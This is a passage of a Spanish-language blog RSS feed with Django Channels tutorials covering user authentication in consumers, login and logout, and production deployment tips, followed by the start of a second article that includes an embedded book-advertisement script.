aplicación en el middleware &lt;em&gt;AuthMiddlewareStack&lt;/em&gt;, django se encargará de manejar el objeto &lt;em&gt;session&lt;/em&gt;, como siempre.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# mychannels/asgi.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; AuthMiddlewareStack&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.routing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ProtocolTypeRouter, URLRouter&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.asgi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_asgi_application&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; chat.routing&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setdefault(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;DJANGO_SETTINGS_MODULE&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mychannels.settings&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;application &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ProtocolTypeRouter({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http&amp;#34;&lt;/span&gt;: get_asgi_application(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;websocket&amp;#34;&lt;/span&gt;: AuthMiddlewareStack(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        URLRouter(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            chat&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;routing&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;websocket_urlpatterns&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con este middleware tendremos acceso al objeto &lt;em&gt;user&lt;/em&gt; a través del scope en:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;#chat/consumers.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ChatConsumer&lt;/span&gt;(WebsocketConsumer):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;connect&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        async_to_sync(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;channel_layer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;group_add)(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;chat&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;channel_name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;accept()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;scope[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;user&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;send(text_data&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;json&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;dumps({&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Se ha conectado &lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;%s&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; (&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;user&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;username)}))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si tienes un usuario loggeado verás algo como esto al iniciar una conexión:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/LoggedDjangoChannels.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/LoggedDjangoChannels.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django channels usuario loggeado&#34; width=&#34;696&#34; height=&#34;281&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Y si no te encuentras loggeado verás un string vacío, que corresponde a un usuario anónimo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/AnonymousDjangoChannels.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/AnonymousDjangoChannels.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Usuario anónimo en Django channels&#34; width=&#34;576&#34; height=&#34;236&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;login-y-logout-en-django-channels&#34;&gt;Login y logout en django channels&lt;/h2&gt;&#xA;&lt;p&gt;Django channels también nos provee de funciones para hacer login y logout a nuestros usuarios, solo recuerda que &lt;strong&gt;la función login no autentica un usuario, solo lo loggea&lt;/strong&gt;, por lo que las comprobaciones corren por tu cuenta.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#chat/consumers.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; asgiref.sync &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; async_to_sync&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; login, logout, get_user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ChatConsumer&lt;/span&gt;(WebsocketConsumer):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;receive&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, text_data):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        async_to_sync(login)(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;scope, user)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# La sesión se modifica con el login&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# Pero es necesario guardar la sesión &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;scope[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;session&amp;#34;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;disconnect&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, close_code):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        async_to_sync(logout)(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;scope)(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora puedes complicar el envío de información para que se comporte de la manera en la que tu quieres, como crear diferentes salas o condicionar el envío de mensajes a un grupo restringido de usuarios, o solo a uno de ellos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tips-para-produccion-de-django-channels&#34;&gt;Tips para producción de django-channels&lt;/h2&gt;&#xA;&lt;p&gt;Antes de hacer deploy de una aplicación que involucre channels te voy a platicar de las múltiples cosas que pueden salir mal y como prevenirlas.&lt;/p&gt;&#xA;&lt;h3 id=&#34;djangocoreexceptionsappregistrynotready-apps-arent-loaded-yet&#34;&gt;django.core.exceptions.AppRegistryNotReady: Apps aren&amp;rsquo;t loaded yet&lt;/h3&gt;&#xA;&lt;p&gt;Si estás usando uvicorn y una aplicación asgi, esto se debe a que django intenta usar aplicaciones que aún no han sido cargadas. Para prevenir el error carga manualmente la aplicación por ti mismo antes de importar cualquier otra app.&lt;/p&gt;&#xA;&lt;p&gt;En este caso particular, el orden de las importaciones SÍ importa.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.conf &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; settings&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.asgi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_asgi_application&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;current_settings &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.settings&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; settings&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;DEBUG &lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;app.dev_settings&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setdefault(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;DJANGO_SETTINGS_MODULE&amp;#34;&lt;/span&gt;, current_settings)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django_asgi_app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_asgi_application()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# el resto de tus imports van acá&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# import app...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;application &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ProtocolTypeRouter(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http&amp;#34;&lt;/span&gt;: django_asgi_app,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;asegurate-de-tener-las-librerias-de-websocket-instaladas&#34;&gt;Asegúrate de tener las librerías de websocket instaladas&lt;/h3&gt;&#xA;&lt;p&gt;Si vas a trabajar con websockets, asegúrate de tener todas las librerías requeridas instaladas, uvicorn nos provee de estas librerías si instalamos su versión estándar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install uvicorn&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;standard&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;De otra manera tendremos el error &lt;em&gt;[WARNING] No supported WebSocket library detected.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;asegurate-de-usar-el-protocolo-de-websocket-correcto&#34;&gt;Asegúrate de usar el protocolo de websocket correcto&lt;/h3&gt;&#xA;&lt;p&gt;El error puede manifestarse de varias formas, una de ellas es esta &lt;em&gt;deploys failing due to “unhealthy allocations”&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Si intentas comunicarte con un protocolo inseguro a uno inseguro obtendrás un error.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Te toca definir la variable/funcion de manera dynamica&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(serving_using_https){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ws_url &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;wss://...&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ws_url &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ws://...&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content:encoded>
      <summary>&lt;p&gt;Los channel layers te permiten interactuar y compartir información con diferentes consumers en django channels. Lo que permite a cada consumer comunicarse con el resto. Por ejemplo, cuando en un chat un usuario envía un mensaje, todos pueden leer el mensaje, cuando un usuario abandona una sala, todos pueden saber que la abandonó. Con esta capacidad es posible crear una aplicación distribuida en la que se comparta información entre los diferentes usuarios.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Django channels: consumers, scope y eventos</title>
      <link>https://coffeebytes.dev/es/django/django-channels-consumers-scope-y-eventos/</link>
      <pubDate>Tue, 09 Nov 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/django-channels-consumers-scope-y-eventos/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;¿Por qué deberías usar Django channels? Porque con Django es imposible crear aplicaciones con comunicación en tiempo real de manera nativa. Django channels le otorga a Django la capacidad manejar protocolos que requieren una conexión persistente, como WebSockets, MQTT, chatbots, mientras mantiene intacta su integración con el sistema de sesiones, autenticación y el resto del framework, volviendo a Django una excelente alternativa para aplicaciones que requieren interactividad y comunicación en tiempo real.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s 